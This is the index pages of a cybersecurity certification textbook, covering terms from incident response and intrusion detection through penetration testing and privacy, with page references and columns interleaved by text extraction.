lessons learned, 335–336 Standardization (ISO); National Language injection,
policies, 411 Institute of Standards and 403–404
preparation, 329–331 Technology (NIST) Lightweight Directory
processes, 328–329 industry-specific cybersecurity Access Protocol injection,
solutions, S-18 laws, 419 404
testing, 336 information security URL analysis, 405–406
threat hunting, 337–338 business units, 11–12 web server logs, 406
training, 337 DevSecOps, 12 inline, G-14, 117
incident response (IR) lifecycle, incident response, 12 inline (layer 1) firewall, 119
G-13–14, 328–329 security operations innovation, vendor diversity
analysis, 328 center, 11–12 and, 193
containment, 328 competencies, 11 input validation, G-14, 318–319
detection, 328 roles and responsibilities, inputs, identifying, 449
eradication, 328 10–11 insider attack, 397
illustrated, 329 Chief Information insider information, 455
lessons learned, 329 Officer, 10 insider threat training, 491
preparation, 328 Chief Security Officer, Instagram, 295
recovery, 328 10 instant messaging (IM), 27, 185
incident response (IR) plan, Information Systems integrated penetration testing,
G-14, 331 Security Officer, 11 G-14, 466

Index

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 Index | I-19

integrity, G-14, 2 International Organization for intrusion detection systems

authentication design and, Standardization (ISO) (IDS), G-15, 123–124, 263,
70 ISO 27K, 417 265–266
availability over, 108 ISO 31K, 446 detection methods
in CIA Triad, 2 ISO 2700, 252 behavioral-based
data, 332 ISO 15408, 290 detection, 268
digital signatures and, ISO 22301, 196 network behavior and
44–45 ISO 27001, 240, 290, 415, anomaly detection,
evidence, 344 458 268
hashing algorithms to ISO 27002, 415 signature-based
prove, 42 ISO 27017, 414, 415 detection, 267–268
lack of, 25 ISO 27018, 414, 415 trend analysis, 268
symmetric encryption and, third-party evaluations, 196 examples, 266
40 International hardware security, 254
Integrity Check Value (ICV), 132 Telecommunications Union, 49 host-based, 265, 280–281
Intel Software Guard Internet Engineering Task logs, 353
Extensions, 57, 482 Force, 49 sensors, 123
intellectual property (IP), 472 Internet header, G-14, 355 intrusion prevention systems
theft, 478 Internet Key Exchange (IKE), (IPS), G-15, 124, 125, 263,
intelligence agencies, 422 G-14, 133–134 266–267, 287
intelligence fusion, G-14, 338 Internet Message Access detection methods
Intelligence-Driven Computer Protocol (IMAP), G-14–15, 216, behavioral-based
Network Defense, 332 311 detection, 268
interactive logon, 89 Internet of Things (IoT), G-15, network behavior and
intercepting proxy servers, 161–162 anomaly detection
122–123 adoption of, factors driving, (NBAD), 268
Interconnection Security 161 signature-based
Agreements (ISAs), 155 best practice guidance for, detection, 267–268
interfaces, device hardening, 162 trend analysis, 268
274 devices, 147 examples, 266
intermediary node, 101 examples, 161 host-based, 265, 280–281
internal assessments, 460–461 full disk encryption, 278 IoA. see indicator of attack (IoA)
internal compliance reporting, hardening, 289 IoC. see indicator of
481 security risks associated compromise (IoC)
internal standards, 415–417 with, 162 iOS
access control standards, Internet of Things Security App Store, 217
416 Foundation (IoTSF), 162 Data Protection encryption,
encryption, 417 Internet Protocol (IP), 104–105 294
password standards, 416 address, 86 encryption levels, 294
physical security standards, filtering, 118 sandboxing, 323
416–417 subnets, 106 sideloading, 218
internal threat, G-14, 17, 21 Internet Protocol Security vulnerabilities, 211, 217
internal threat actors, 17, 21 (IPsec), G-15, 63, 130, IoT. see Internet of Things (IoT)
International Electrotechnical 132–133 IoTSF. see Internet of Things
Commission (IEC) internet protocol security Security Foundation (IoTSF)
IEC 15408, 290 tunneling, 132–133 IP. see intellectual property (IP);
IEC 27001, 415 internet relay chat (IRC), G-15, Internet Protocol (IP)
IEC 27002, 415 376 IP Flow Information Export
IEC 27017, 414, 415 Internet service provider (ISP), (IPFIX), G-15, 363
IEC 27018, 414, 415 86, 129 IPFire, 264
IEC 61508, 290 Internet Systems Consortium, IPFIX. see IP Flow Information
IEC 62443, 290 315 Export (IPFIX)

Index

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 I-20 | Index

IPS. see indoor positioning jump servers, G-15, 137 kill chain, G-15–16, 332–333
system (IPS); intrusion just-in-time (JIT), 87 KMIP. see Key Management
prevention systems (IPS) JWT. see JSON Web Token (JWT) Interoperability Protocol (KMIP)
IPsec. see Internet Protocol KMS. see key management
Security (IPsec) K systems (KMS)
IPS/IDS log, G-13, 358 knowledge-based
KDC. see key distribution
IR. see incident reporting (IR); authentication, 89
center (KDC)
incident response (IR) known environment
KEK. see key encryption key
IRC. see internet relay chat (IRC) penetration testing, 239,
(KEK)
ISACs. see Information Sharing 464
Kerberos, G-15, 91–93, 94,
and Analysis Centers (ISACs) KPI. see key performance
136, 394
ISAs. see Interconnection indicator (KPI)
Kerckhoffs’s principle, 216
Security Agreements (ISAs) KRA. see key recovery agent
key, 39
ISMS. see information security (KRA)
escrow, 57
management system (ISMS) KRACK attack, 215, 392
expiration, 55
ISO. see International KRI. see key risk indicator (KRI)
generation, 55–56
Organization for
management, 55, 417
Standardization (ISO)
pair, 41, 51, 55, 60, 62, 64 L
ISOC best practice guide
recovery, 392 LAN. see local area network
to evidence collection and
renewal, 55 (LAN)
archiving, 341
revocation, 55 Lansweeper, 173
isolation, G-15, 277
rotation, 216 laptops, full disk encryption
endpoint protection, 277
secret, 39 and, 278
isolation-based
session, 63, 394 LastPass password manager,
containment, 334
storage, 55 73
ISP. see Internet service
key distribution center (KDC), lateral movement, G-16, 387,
provider (ISP)
G-15, 91–93 397
ISSO. see Information Systems
point-of-failure, 93 law enforcement agencies, 422
Security Officer (ISSO)
single sign-on layers
IT Infrastructure Library (ITIL),
authentication, 91–92 firewall, 125–126
G-15, 174
single sign-on layer 1 (inline) firewall,
authorization, 92–93 119
J key encryption key (KEK), G-15, layer 2 (bridged) firewall,
jailbreaking, G-15, 217 60, 278 119
jamming, of GPS, 296 key exchange, G-15, 63–64 layer 3 (routed) firewall,
JavaScript, 373 key fob token generator, 76–77 118
JavaScript Object Notation key length, G-15, 40–41, 417 layer 4 firewall, G-16,
(JSON), G-15, 96, 151 key lock, 201 120
JEDI. see Joint Enterprise Key Management layer 7 firewall, G-16,
Defense Infrastructure (JEDI) Interoperability Protocol 121
JFS. see Journaled File System (KMIP), 55 load balancers
(JFS) key management systems layer 4, 126
Jira, 185 (KMS), G-15, 55, 216 layer 7 (content switch),
JIT. see just-in-time (JIT) key performance indicator 126
Joe Sandbox, 323–324 (KPI), 451 network infrastructure,
Joint Enterprise Defense key recovery agent (KRA), 57 101–106, 108
Infrastructure (JEDI), 167 Key Reinstallation Attacks LDAP. see Lightweight Directory
Journaled File System (JFS), 178 (KRACK) vulnerability, 215 Access Protocol (LDAP)
journaling, G-15, 178 key risk indicator (KRI), 447 LDAP Secure (LDAPS), 304,
JSON. see JavaScript Object key stretching, G-15, 65 307–308
Notation (JSON) keyless lock, 201 least privilege permission
JSON Web Token (JWT), 96 keyloggers, G-15, 375 assignments, 83–84
Index

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 Index | I-21

least privilege principle, G-16, benchmarks, 252 Indoor Positioning System,

253 chmod command, 283 294
legacy systems, 212, 430 discretionary access privacy concerns, 295
legal agreements, 457–458 control, 81 restricting device
detailed agreements, 457 logs, 350 permissions, 294, 295
initial agreements, 457 OpenSSL cryptographic location-based authentication,
questionnaires, 458 software library, 211 74
rules of engagement, 458 patch management, location-based policies, 86
legal data, G-16, 471 279 Lockheed Martin, 332
legal environment, 417–420 permissions, 283–284 locks
“best practice” mandate, Security Onion, 266–267 access badges, 202
417 SELinux, 285–286 access control vestibule
California Consumer sudo command, 87 (mantrap), 202
Privacy Act, 418 syslog, 349 biometric, 201
Computer Security Act, 417 Volatility framework, 342 cable, 202
due diligence, 417 vulnerabilities, 210, 211 electronic, 201
Federal Information listener/collector, G-16, 359 generic examples of, 201
Security Management Act, live acquisition, 343 physical, 201
417 “live off the land” techniques, log aggregation, G-16, 359
General Data Protection 374, 376 log data, G-16, 348–349
Regulation, 418 Lizard System’s Wi-Fi Scanner logic bombs, G-16, 379
global law, 418 tool, 255 logical ports, 287
personal data, 418 LLR. see lessons learned report logical segmentation, G-16,
regulations and industry (LLR) 104
laws, 418–420 load balancers, G-16, 125–127 logical token, 92
cybersecurity architecture, topology of login, 70
regulations, 419–420 clustered, 190 logistics, 160
industry-specific layer 4, 126 logs
cybersecurity laws, 419 layer 7 (content switch), 126 data, 348–349
local or regional, 419 persistence, 127 log only, in alert tuning,
in the United States, 418 responsiveness, 152 361
Sarbanes-Oxley Act, 417 scheduling, 126 missing, 382
legal evaluation, in incident session affinity, 126 monitoring systems and
response, 330 load testing, 189 applications, 364
legal hold, G-16, 341 LOC attack. see low-observable out-of-cycle logging, 382
lessons learned, in incident characteristics (LOC) attack review, 244
response, 329, 335–336 local area network (LAN), 101 in secure configuration,
lessons learned report (LLR), local network vectors, 25 253, 254
G-16, 335 local regulations and industry LoJax vulnerability, 213
Let’s Encrypt, 48 laws, 419 lookalike domain, 33
level of sophistication/ local replication, 148 low-observable characteristics
capability, G-16, 17 Local Security Authority (LOC) attack, 374
liability, 480 Subsystem Service (LSASS), 89, LSASS. see Local Security
lighting, G-16, 199 394–395 Authority Subsystem Service
Lightweight Directory Access local sign-in, Windows, 89 (LSASS)
Protocol (LDAP), G-16, 90, 307 location services, 86, 294–295 LulzSec, 20
injection, 404 geofencing and camera/ lure, G-16, 26
likelihood of risk, G-16, 446 microphone enforcement, lure-based vectors, 26–27
links, 101 295 document files, 27
Linux global positioning system, executable file, 26
absolute mode, 284 294 image files, 27
authentication, 90 GPS tagging, 295 removable device, 26

Index

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 I-22 | Index

M remote access Trojans, Mandatory Access Control

376 (MAC), 81–82
MAC. see Mandatory Access
rootkits, 377 address, 254, 258
Control (MAC); media access
solutions, S-20–21 limiting, 109
control (MAC)
spyware, 375 Mandatory Access Control
MAC filtering. see Mandatory
tactic, technique, or filtering (MAC filtering), G-17,
Access Control filtering (MAC
procedure, 379–380 109
filtering)
viruses, 373 Mandiant, 20
machine learning (ML), G-16,
worms, 374 Mandiant’s FireEye, 236
362
Bluetooth connection maneuver, G-17, 338
machine-readable definition
methods, 298–299 mantrap (access control
files, 151
Bluetooth worms and vestibule), 202
macOS
application exploits, manual inventory, 173
benchmarks, 252
298–299 mapping course content
logs, 350
classification, 372–373 general security concepts,
vulnerabilities, 210, 211
payload, 373 A-1–4
macro virus, 373
potentially unwanted security architecture, A-8–11
“Magic Quadrant” reports, 280
programs, 372 security operations, A-11–18
mail delivery agent (MDA), 355
Trojans, 372 security program
mail transfer server, 100
viruses and worms, 372 management and oversight,
mail user agent (MUA), 355
endpoint detection and A-18–22
maintenance windows, 427
response, 279 threats, vulnerabilities, and
malicious activity indicators,
endpoint security breach, mitigations, A-4–8
380–382
281 masking, 482
account compromise,
eradication and recovery, Massachusetts 201 CMR 17.00,
382
334–335 419
blocked content, 381
notifying affected master service agreement
file system, 381
parties, 335 (MSA), G-17, 457
logging, 382
reaudit security controls, maximum tolerable downtime
resource consumption, 380
335 (MTD), G-17, 187, 449
resource inaccessibility, 381
reconstitution of MBSA tool. see Baseline
sandbox execution, 380
affected systems, 334 Security Analyzer (MBSA) tool
malicious code indicators, 397
reinstallation, 335 MD5. see Message Digest
malicious process, G-16, 373
operating system security, Algorithm v5 (MD5)
malicious update, G-16–17, 222
274, 275 MDA. see mail delivery agent
Mallory, 38
segmentation, 276 (MDA)
Maltego, 236
signature-based detection, MDM. see mobile device
malware, G-17, 269, 270
277 management (MDM)
attack indicators, 372–384
update repositories, 279 MDR. see managed detection
backdoors, 376–377
USB sticks infected with, and response (MDR)
crypto-malware,
287 mean time between failures
378–379
workstations, 275 (MTBF), G-17, 451
fileless malware, 374
managed detection and mean time to repair/replace/
indicator of
response (MDR), 280 recover (MTTR), G-17, 451
compromise, 379–380
managed services provider media access control (MAC),
keyloggers, 375
(MSP), 28 101
logic bombs, 379
ManageEngine, 173 media encryption, removable,
malicious activity
management information base 287
indicators, 380–382
(MIB), 308 medical devices, as embedded
malware classification,
management plane, 152 system, 158
372–373
managerial security control, MEF. see mission essential
ransomware, 378
8–9 function (MEF)

Index

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 Index | I-23

Meltdown vulnerability, 213 procurement management, mobile device hardening,

Memorandum of Agreement 28 292–301
(MoA), G-17, 457 Remote Connectivity Bluetooth connection
memorandum of Analyzer, 355 methods, 298–299
understanding (MoU), G-17, Remote Desktop Protocol, cellular/mobile data
457 134 connections, 296
memory dump, 342 SDL, 148 full device encryption and
memory injection, G-17, Server Message Block 3.1.1 external media, 294
221 (SMBv3) protocol, 220 global positioning system,
memory management, 322 Server Message Block (SMB) 296
memory resident, 373 protocol, 211 location services, 294–295
Message Analyzer tool, 355 volume encryption, 61 mobile device
message digest, 42 Microsoft 365, 185, 484 management, 293
Message Digest Algorithm v5 Microsoft Active Directory, 89, near-field communication,
(MD5), G-17, 43, 68, 215, 344, 91, 93, 94, 307 300
393 Microsoft Azure Information solutions, S-16
message transfer agent (MTA), Protection, 472 techniques, 292–294
355 Microsoft Azure SQL Database, Wi-Fi and tethering
message-based vectors, 27 144 connection methods, 297
email, 27 Microsoft Azure Virtual mobile device management
instant messaging, 27 Machines, 145 (MDM), G-17, 173, 218, 293
short message service, 27 Microsoft Cloud App Security, mobile devices
web and social media, 27 227 deployment models,
metadata, G-17, 355–356 Microsoft Intune, 173 292–293
in e-discovery, 345 Microsoft Office 365, 144 full disk encryption and,
email, 355–356 Microsoft Office documents 278
event, 349 with VBA code enabled, 373 mobile OS encryption software,
file, 355 Microsoft Outlook, 311, 373 294
uploaded to social media Microsoft Security Compliance mobile payment services, 300
sites, 355 Manager, 276 mobile technology,
MetaGeek inSSIDer, 392 Microsoft System Center deperimeterization and,
Metasploit Meterpreter remote Configuration Manager 164
access tool, 375 (SCCM)/Endpoint Manager, MobileIron, 173
metrics, 496 279, 288 ModSecurity WAF, 127
MFA. see multifactor Microsoft Teams, 185 monitoring/asset tracking,
authentication (MFA) microwave sensors, 205 G-17, 173
MIB. see management mine, 379 capabilities, 322–323
information base (MIB) misconfiguration compliance, 481
Micro Secure Digital (SD) card vulnerabilities, 214–215 endpoint hardening,
slot, 294 MISP threat-sharing platform, 284–285
microphone enforcement, 235 endpoint protection, 288
geofencing and, 295 missing logs, G-17, 382 infrastructure, 362–363
MicroSD HSM, 294 mission essential function NetFlow, 363
microservices, G-17, 150 (MEF), G-17, 445, 449 network monitors, 362
Microsoft. see also Windows MITRE ATT&CK database, 380, in secure configuration,
App-V product, 148 413 253, 254
Baseline Security Analyzer MITRE Corporation, 20 security awareness training
(MBSA) tool, 276 ML. see machine learning (ML) lifecycle, 495–496
DNS server, 314 MoA. see Memorandum of systems and applications,
Group Policy, 252 Agreement (MoA) 364–365
Hyper-V, 177 MOBIKE multihoming, 134 antivirus scan software,
MS17-010 update, 211 mobile data connections, 296 364

Index

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 I-24 | Index

application and cloud multi-tenant (or public) cloud, NDAs. see non-disclosure
monitors, 364 142 agreements (NDAs)
data loss prevention, mutual authentication, 93 near-field communication
365 (NFC), G-18, 76, 202, 257, 300,
logs, 364 N 386
system monitor, 364 NERC. see North American
NAC. see network access
testing, 189 Electric Reliability Corporation
control (NAC)
vulnerability scanners, (NERC)
NAS device, 259
364 Nessus, 173, 231, 242
NAT. see network address
motion recognition, 204 NetApp, 177
translation (NAT)
motion-based alarm, 204 NetFlow, G-18, 363
national cybersecurity
motivations of threat actors, network access control (NAC),
agencies, 422
17–19 G-18, 251, 260–261
National Institute of Standards
chaotic, 18 network address translation
and Technology (NIST),
data exfiltration, 18 (NAT), 134
G-17–18, 3
disinformation, 18 Network and Information
benchmarks, 252
financial, 18 Systems (NIS) Directive, 418,
Cybersecurity Framework,
political, 19 420
3, 240
service disruption, 18 network attack, G-18, 386–387
800-53 framework
MOU. see memorandum of command and control,
requirements, 366
understanding (MoU) beaconing, and persistence,
internal assessments
Mozilla Thunderbird, 311 387
required by, 462
MS08-067 vulnerability, 211 credential harvesting, 386
National Initiative for
MS17-010 update, 211 data exfiltration, 387
Cybersecurity Education,
MSA. see master service denial of service, 386
11, 490
agreement (MSA) lateral movement, pivoting,
National Vulnerability
MSP. see managed services and privilege escalation, 387
Database, 234, 243
provider (MSP) reconnaissance, 386
password best practices
MTA. see message transfer weaponization, delivery,
and, 72
agent (MTA) and breach, 386
Risk Management
MTBF. see mean time between network attack indicators,
Framework, 446
failures (MTBF) 385–407
security controls classified
MTD. see maximum tolerable application attacks, 399–400
by, 9
downtime (MTD) credential replay attacks,
Special Publication 800-61,
MTTR. see mean time to repair/ 394–395
413
replace/recover (MTTR) cryptographic attacks,
Special Publication 800-63,
MUA. see mail user agent 396–397
415
(MUA) denial of service attacks,
Special Publication 800-82,
multi-cloud architectures, G-17, 387–388
160
142 domain name system
standardized configuration
multi-cloud strategies, 193–194 attacks, 390–391
baselines, 285
multifactor authentication forgery attacks, 401–403
Triple DES deprecated by,
(MFA), G-17, 73–74 injection attacks, 403–406
215
biometric or inherence malicious code indicators,
zero trust architecture
factor, 73 397
framework, 163, 165
location-based network attacks, 386–387
National Vulnerability
authentication, 74 on-path attacks, 389–390
Database (NVD), 234, 243
ownership factor, 73, 76, 77 password attacks, 393–394
nation-state actors, G-17,
privileged access physical attacks, 385–386
20
management, 87 replay attacks, 400–401
NBAD. see network behavior
multipartite, 373 solutions, S-21
and anomaly detection (NBAD)
multi-tenant architecture, 143 wireless attacks, 391–392

Index

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 Index | I-25

network behavior and anomaly Wi-Fi authentication, network vectors, 25–26

detection (NBAD), G-18, 268 258–259 local, 25
network data sources, 352–353 advanced remote, 25
firewall logs, 352–353 authentication, 258–259 unsecure networks, 25–26
IPS/IDS logs, 353 Remote Authentication network visibility, zero trust
network logs, 352 Dial-In User Service, 259 architectures and, 164
network functions WPA2 pre-shared key network vulnerability scanner,
virtualization (NFV), G-18, 153 authentication, 258 232
network infrastructure, WPA3 person network vulnerability tests
101–102 authentication, 258 (NVTs), 242–243
network logs, G-18, 352 wireless encryption, neutral risk appetite, 448
network monitoring, G-18, 256–257 New Technology File System
362 Wi-Fi Protected Access 3, (NTFS), 178
network scanning, 173 257 New York Department of
network security, zero trust Wi-Fi Protected Setup, Financial Services (DFS) Part
architectures and, 164 256–257 500 Cybersecurity Regulation,
network security appliances, wireless network 419
115–128 installation considerations, next-gen A-V, 364
device attributes, 116–118 254–255 next-generation firewall
device placement, 115–116 heat maps, 255 (NGFW), G-18, 125
firewalls, 118–119 site surveys, 254–255 NFC. see near-field
intrusion detection wireless access point communication (NFC)
systems, 123–124 placement, 254 NFV. see network functions
layer 4 firewall, 120 network security capability virtualization (NFV)
layer 7 firewall, 121 enhancement, 263–271 NGFW. see next-generation
load balancers, 125–127 access control lists, 263–265 firewall (NGFW)
next-generation firewall, screened subnet, 265 “nines” term, 187
125 intrusion detection NIS Directive. see Network
OPNsense firewall systems, 265–266 and Information Systems (NIS)
appliance, 120, 121 intrusion prevention Directive
proxy servers, 121–123 systems, 266–267 NIST. see National Institute
solutions, S-9 solutions, S-15 of Standards and Technology
stateful inspection firewall, web filtering, 269–270 (NIST)
120, 121 agent-based filtering, Nmap, 173
stateless firewall, 120 269 no authentication, 307
unified threat management, benefits of, 269 nodes, 101, 190
125 block rules, 270 Nohl, Karsten, 286
web application firewall, centralized, 269–270 noise detection alarm, 204
127 content categorization, noncompliance, impacts of,
network security baselines, 270 479
252–262 issues related to, 270 non-credentialed scan, G-18,
benchmarks, 252 reputation-based 232–233
configuration management filtering, 270 non-disclosure agreements
tools, 252 URL scanning, 269–270 (NDAs), G-18, 457, 471
hardening concepts, 253 network segmentation, zero non-human-readable data,
network access control, trust architectures and, 164 G-18, 471
260–261 network sign-in, Windows, non-repudiation, G-18, 2, 344
routers, 253 89 non-resident/file infector,
server hardware and Network Time Protocol (NTP), 373
operating systems, 253–254 352 non-transparent proxy servers,
solutions, S-15 network traffic analysis (NTA), G-18, 122
switches, 253 268, 464 nonvolatile storage, 342

Index

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 I-26 | Index

North American Electric OOB management. see out-of- vulnerability types,

Reliability Corporation (NERC), band (OOB) management 212–213
419 Opal Storage Specification, zero-day vulnerabilities,
NT LAN Manager G-19, 278 214
authentication (NTLM open authorization (OAuth), operation (working), 412
authentication), G-18, 89, 394, G-19, 96 operational security control,
395 open public ledger, G-19, 66 8–9
NTA. see network traffic open service port, 26 operational security training,
analysis (NTA) Open Source Security 492
NTFS. see New Technology File Automation (OSSA), 413 operator fatigue, 435
System (NTFS) Open Systems Interconnection OPNsense
NTP. see Network Time (OSI), 101–102 filter settings for caching
Protocol (NTP) Open Threat Exchange (OTX), proxy server, 122
NVD. see National Vulnerability 234 firewall appliance, 120, 121
Database (NVD) Open Vulnerability and firewall rule configuration,
NVTs. see network vulnerability Assessment Language (OVAL), 121
tests (NVTs) 365 IKE for certificate-based
OpenSCAP, 252 authentication, 133
O open-source intelligence open-source security
(OSINT), G-19, 236–237, 464 platform, 119
OAuth. see open authorization
open-source threat feeds, OpenVPN server, 131
(OAuth)
235 server certificate, 131
Obad Android Trojan malware,
OpenSSH, 135 site-to-site VPN using
299
OpenSSL cryptographic library, IPsec tunneling with ESP
obfuscation, G-18, 66, 483
215 encryption, 133
object detection, 204
OpenStack, 145 transparent proxy settings
observations, in security
OpenVAS, 173, 231, 232 for proxy server, 123
awareness training, 496
plug-ins, 242–243 opportunistic TLS, 310
OCSP. see online certificate
operating system (OS) Oracle Cloud, 145
status protocol (OCSP)
fingerprinting, in active Oracle Database, 144
OEMs. see original equipment
reconnaissance, 463 orchestration implementation,
manufacturers (OEMs)
logs, 349–350 435–436
offboarding, G-18, 414
patch management, 279 complexity, 435
offensive penetration testing,
security, endpoint cost, 436
G-18, 465
hardening and, 274–275 ongoing support, 436
offline password attack,
server hardware, 253–254 single point of failure, 436
393
vulnerabilities, 210–219 solutions, S-23
off-site backups, G-18, 176
cryptographic standard configurations,
O.MG cable, 286
vulnerabilities, 215–216 436
onboarding, G-18, 412–413
End-of-Life systems, 212 technical debt, 436
one-time password (OTP),
examples, 211 order of volatility, G-19, 341
G-18, 76
firmware vulnerabilities, Organizational Units (OUs), 285
The Onion Router (TOR), 147,
213 organized crime, G-19, 21
237
jailbreaking, 217 original equipment
online certificate status
legacy systems, 212 manufacturers (OEMs), 28
protocol (OCSP), G-18–19, 54
misconfiguration OS. see operating system (OS)
online password attack, 393
vulnerabilities, 214–215 OSI. see Open Systems
on-path attack, G-19, 25, 300,
rooting, 216 Interconnection (OSI)
389–390
sideloading, 217–218 OSINT. see open-source
on-premises network, G-19,
solutions, S-13 intelligence (OSINT)
102
virtualization OSSA. see Open Source
on-site backups, G-19, 176
vulnerabilities, 213 Security Automation (OSSA)

Index

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 Index | I-27

OSSEC, 265, 281 pairing and authentication, passwordless authentication,

OTP. see one-time password Bluetooth, 299 G-19, 78
(OTP) pairwise master key (PMK), 258 passwords
OTX. see Open Threat PAKE. see Password- account policies, 71–72
Exchange (OTX) Authenticated Key Exchange authenticating, 5, 6
OUs. see Organizational Units (PAKE) authentication, 71–72
(OUs) Palo Alto Networks Prisma brute force password
out-of-band (OOB) Access, 167 guessing, 299
management, G-19, 136–137 PAM. see pluggable default, 288
out-of-cycle logging, G-19, authentication module (PAM); hardware security, 254
382 privileged access management login, 70
outputs, identifying, 449 (PAM) management training, 491
outsourcing and contracting, PANs. see personal area one-time password, 76, 77
164 networks (PANs) passwordless
OVAL. see Open Vulnerability parallel processing tests, G-19, authentication, 78
and Assessment Language 195 resetting, 416
(OVAL) partially known environment router security, 253
overblocking, 270 penetration testing, 239, 464, salting, 416
overwriting, 180 465 self-encrypting drives, 278
OWASP CycloneDX, 229 partition encryption, 61 spraying, 394
OWASP Dependency-Check, pass the hash (PtH) attack, 395 standards, 416
229 passive infrared (PIR) sensors, switch security, 253
OWASP Dependency-Track, 204 vaulting/brokering, 87
229 passive reconnaissance, G-19, patch availability, 112
OWASP input validation, 318, 464 patch cables, 102, 104, 109
319 passive security control, G-19, patch management, G-20, 246,
OWASP Software Assurance 116 279
Maturity Model, 318 password attacks, G-19, patch management suite, 279
OWASP Top 10, 318 393–394 patches/patching, G-20
ownership, in change brute force attack, 393 cloud security
management, 426 dictionary attack, 394 considerations, 156
ownership factor, 73, 76, hybrid password attack, 394 installing endpoint
77 offline attack, 393 protection, 288
online attack, 393 missing, discovering, 279
P password spraying, 394 patch management suite,
password best practices, G-19, 279
P2P. see peer-to-peer (P2P)
71–72 service or application
networks
password age, 72 restarts, 429
PaaS. see platform as a service
password complexity, 71 software security, 253
(PaaS)
password expiration, 72 payload classifications, 373
package monitoring, G-19, 234
password length, 71 Payment Card Industry Data
packet analysis, G-19, 354
password reuse and Security Standard (PCI DSS),
packet captures, 354
history, 72 G-20, 240, 252, 313, 414, 415,
packet filtering firewall, 118,
password hash, 91, 92 419, 443, 462
264
password managers, G-19, PBF. see primary business
PacketFence Open Source NAC,
72–73, 416 functions (PBF)
261
password spraying, G-19, 394 PBKDF2. see Password-Based
PACS. see physical access
Password-Authenticated Key Key Derivation Function 2
control system (PACS)
Exchange (PAKE), 258 (PBKDF2)
Padding Oracle On
Password-Based Key PCI DSS. see Payment Card
Downgraded Legacy
Derivation Function 2 Industry Data Security
Encryption (POODLE)
(PBKDF2), 65 Standard (PCI DSS)
vulnerability, 216
Index

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 I-28 | Index

PDF documents with JavaScript persistence (load balancing), controls, 8–9, 198
enabled, 373 G-20, 127, 387, 397 existing structures, 200–201
PDU. see power distribution persistent storage, 275 fencing, 199
unit (PDU) personal area networks (PANs), gateways and locks, 201–202
PEAP, 259 G-20, 297 industrial camouflage,
peer-to-peer (P2P) networks, personal assets, 414 200
66, 147 personal data, 418 lighting, 199
penalties, for noncompliance, personal identification number physical access control
480 (PIN), G-20, 71, 74, 76, 256–257 system, 202
penetration tester vs. attacker, Personal Information security guards, 203
223 Protection and Electronic sensors, 205
penetration testing, G-20, Documents Act (PIPEDA), 418 solutions, S-12–13
238–239, 455, 463–466 personal relationships, 455 standards, 416–417
active reconnaissance, personally owned devices in testing, 466
463–464 the workplace, use of, 489 through environmental
continuous pentesting, 466 personnel management, 412 design, 199
defensive penetration personnel policies, 488–497 video surveillance, 203–204
testing, 466 conduct policies, 488–489 Pi-hole, 314
exercise types, 465–466 solutions, S-26 PIN. see personal identification
integrated penetration training topics and number (PIN)
testing, 466 techniques, 490–494 (see PIPEDA. see Personal
known environment also security awareness Information Protection and
penetration testing, 239, training) Electronic Documents Act
464 user and role-based (PIPEDA)
offensive penetration training, 489–490 PIR sensors. see passive
testing, 465 persuasive/consensus/liking, infrared (PIR) sensors
partially known 31 pivoting, G-20, 387, 397
environment penetration PFS. see perfect forward PKCS. see public key
testing, 239, 464, 465 secrecy (PFS) cryptography standards (PKCS)
passive reconnaissance, PGP (Pretty Good Privacy), 287 PKI. see public key
464 pharming, G-20, 33 infrastructure (PKI)
physical penetration phishing, G-20, 32, 304, 311, platform as a service (PaaS),
testing, 466 312, 313 G-20, 144–145
solutions, S-24–25 campaigns, 493 platform diversity, 192
steps in, 463 simulations, 496 platform-agnostic solutions,
unknown environment physical access control system 293
penetration testing, 238, (PACS), 202 plausible deniability, 20
464, 465 physical attacks, G-20, 385–386 playbooks, G-20, 333, 413
people, authenticating, 6 brute force physical attack, PLCs. see Programmable Logic
percent encoding, G-20, 406 385 Controllers (PLCs)
perfect forward secrecy (PFS), environmental attack, 385 pluggable authentication
G-20, 64–65 RFID cloning, 385–386 module (PAM), G-20, 90
performance indicators, 496 RFID skimming, 386 plug-ins, 242–243, 268
perimeter network, 265 physical isolation, 111 PMK. see pairwise master key
perimeter security, physical locks, 201 (PMK)
overdependence on, 109 physical penetration testing, PNAC. see Port-based Network
peripherals, malicious, 299 G-20, 466 Access Control (PNAC)
permissions, G-20, 81 physical security, 198–206 point-of-sale (PoS) machines,
Bluetooth, 299 alarm systems, 204 300
permissions assignment, barricades and entry/exit Point-to-Point Tunneling
creating, 85 points, 199 Protocol (PPTP), G-20,
restrictions, 294, 295, 483 bollards, 199–200 130

Index

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policy, G-20, 410–411 potentially unwanted privacy, 470

administrator, 166 programs (PUPs), G-21, 372 dark web and, 238
awareness, teaching, 85 power, 111, 155 location services, 295
common organizational power distribution unit (PDU), Privacy Act 1988, 418
policies, 410–411 G-21, 191 privacy data, 474–477
decision point, 166 power failure, G-21, 111, 118, data inventories, 477
enforcement, zero trust 186, 191, 192, 362 data retention, 477
architectures and, 164 power redundancy, 191–192 legal implications, 475
enforcement point, 166 battery backups, 191 ownership of, 476–477
engine, 166 dual power supplies, 191 right to be forgotten, 476
guidelines, 411 generators, 191 roles and responsibilities,
handbook training, 491 power distribution unit, 191 475–476
solutions, S-22 uninterruptible power private CAs, 48
violations, 261, 269 supply, 191, 192 private cloud, G-21, 142
political motivations, of threat power supply units (PSUs), 191 private key, G-21, 41–42
actors, 19 power usage effectiveness private/personal data, 472
PoLP. see principle of least (PUE), 155 privilege escalation, G-21,
privilege (PoLP) PowerShell, 373, 374 387, 399–400
Ponemon Institute, 454 PPTP. see Point-to-Point privilege management, 416
POODLE (Padding Oracle Tunneling Protocol (PPTP) privileged access management
On Downgraded Legacy preparation, in incident (PAM), G-21, 87
Encryption) vulnerability, 216 response, G-21, 329–331 probability of risk, G-21, 446
POP. see Post Office Protocol communication plan, 330 procedure, in TTP, 379
(POP) cyber incident response procedures, G-21, 412–414
POP3. see Post Office Protocol team, 330 background checks, 412
v3 (POP3) cybersecurity change management, 413
POP3S. see Secure POP infrastructure, 329 offboarding, 414
(POP3S) incident response plan, onboarding, 412–413
port mirroring (SPAN), G-20, 331 personnel management,
117 stakeholder management, 412
Port-based Network Access 330 playbooks, 413
Control (PNAC), 109 preservation, 343–344 solutions, S-22
ports chain of custody, 344 process audits, 240
blocking, 264 evidence integrity and process flow, identifying, 449
filtering/security, 118 non-repudiation, 344 processor, 423
scanning, in active timeline, 343 procurement, G-1, 28, 173–174
reconnaissance, 463 pre-shared key (PSK), G-21, profiles, 85
security, 109–110, 253 134, 257, 258 Programmable Logic
802.1X and Extensible pressure sensors, 205 Controllers (PLCs), 159
Authentication Protocol, pretexting, G-21, 31 project management tools,
